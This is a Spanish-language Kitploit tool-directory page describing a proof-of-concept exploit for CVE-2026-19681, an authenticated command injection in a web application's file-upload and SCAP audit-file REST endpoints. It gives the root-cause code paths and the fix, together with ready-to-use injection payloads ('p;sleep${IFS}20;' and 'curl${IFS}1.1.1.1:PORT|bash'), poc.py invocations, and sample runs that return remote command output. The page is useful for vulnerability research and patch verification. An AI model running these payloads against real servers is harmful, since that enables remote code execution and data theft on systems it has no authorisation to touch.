Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2026-19681 — Exploit de prueba de concepto para inyección de comandos autenticada en el procesamiento de subida de archivos, que demuestra una cadena de dos pasos a través de la API REST con ejecución de comandos mediante timing ciego y callbacks. | Kitploit
Herramientas/GitHubGitHub/h00die/poc-cve-2026-19681
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

Exploit de prueba de concepto para inyección de comandos autenticada en el procesamiento de subida de archivos, que demuestra una cadena de dos pasos a través de la API REST con ejecución de comandos mediante timing ciego y callbacks.

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Imagen del CVE

CVE-2026-19681 — inyección de comandos en el procesamiento de subida de archivos (autenticado)

Estado: CONFIRMADO en un laboratorio 6.7.2-14.el9 (2026-08-20). Nombre de archivo preparado p;sleep${IFS}20;-EvvfJk mediante POST /rest/file/upload (el prefijo del contexto contiene los metacaracteres); luego POST /rest/auditFile (type=scapLinux, version=1.2) se detuvo exactamente 20.1s y devolvió el error 106 ("Error adding Tailoring file to SCAP zip file") — la ruta de error normal posterior a la inyección. La ejecución ocurre dentro del comando shell zip -9Tj como el usuario del servicio web. (Corregido en 6.9.0 según el diff del RPM; la vulnerabilidad está presente al menos en 6.7.2–6.8.x.)

Vulnerabilidad

Cadena de dos pasos, ambos bajo el control del atacante:

  1. Control del nombre de archivo — almacena las subidas mediante (), que construye el nombre en disco a partir del parámetro sin procesar del cliente: . Los contextos desconocidos omiten toda la validación de contenido (el NOTICE de lo llama "wide open since SC 4.x") pero aun así se almacenan — por lo que los metacaracteres de shell (, , backticks) persisten en el nombre de archivo preparado.

POST /rest/file
Filesystem::saveTmp()
FilesystemLib.php:587
context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • Sumidero de inyección — POST /rest/auditFile con type∈SCAP, version=1.2 entra en la rama de tailoring (AuditFiles.php:163): $scapZipFile = $tmpDir . $params['filename'] (totalmente controlado por el cliente) → AuditFileLib::addSCAPTailoringFile() línea 2304: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() elimina / pero no los metacaracteres de shell — luego sin escapar en exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

  • Un segundo sumidero de la misma clase: Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") en extractFile().

    Parche (6.9.0)

    escapeshellarg($tmpZipFile) en ambos comandos zip; Utility::execSafe() (proc_open en forma argv + separador --) reemplaza el exec de cadena de unzip; se añadió validación de nombres de archivo en AuditFiles::applySCAPTailoringFile() (eso es CVE-2026-19679).

    PoC

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    Notas:

    • el recurso de subida es /rest/file/upload (campo multipart Filedata, campo de formulario context) — descubierto en el laboratorio; otras compilaciones pueden diferir, se probaron candidatos.
    • presupuesto de longitud: PHP tempnam() trunca el prefijo del nombre preparado — solo sobreviven ~50-55 caracteres de context (medido en el laboratorio; la variante de arranque hex fue cortada a mitad del payload). Las inyecciones cortas como p;sleep${IFS}20; caben; todo lo más largo pasa por el servidor de callback.
    • el cuerpo de auditFile necesita type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (según AuditFiles::validateAdd); PARAM_FILENAME solo rechaza / y archivos inexistentes, así que ;/${IFS} pasan.
    • la subida de tailoring (context=tailoringFile) debe contener un datastream XML analizable con al menos un Profile — se incluye uno mínimo.

    Elementos a verificar en el laboratorio (se marcan en la salida del script si fallan):

    • El XML mínimo de tailoring incrustado debe satisfacer a SCAPTailoringFileParser (>=1 perfil); reemplázalo por un datastream real de tailoring SCAP si es rechazado.
    • La cadena type debe coincidir con un miembro de AuditFileLib::$validSCAPTypes (se espera scap).
    • Las claves exactas del cuerpo de auditFile provienen de AuditFiles::validateAdd(); ajústalas si el POST devuelve un error de parámetros.

    Véase también

    • ../cve-2026-19679/ — la mitad de validación de entrada de la misma cadena (saneamiento de nombres de archivo), con un diferencial de detección de versiones.

    Ejecuciones de ejemplo

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    Descargar herramienta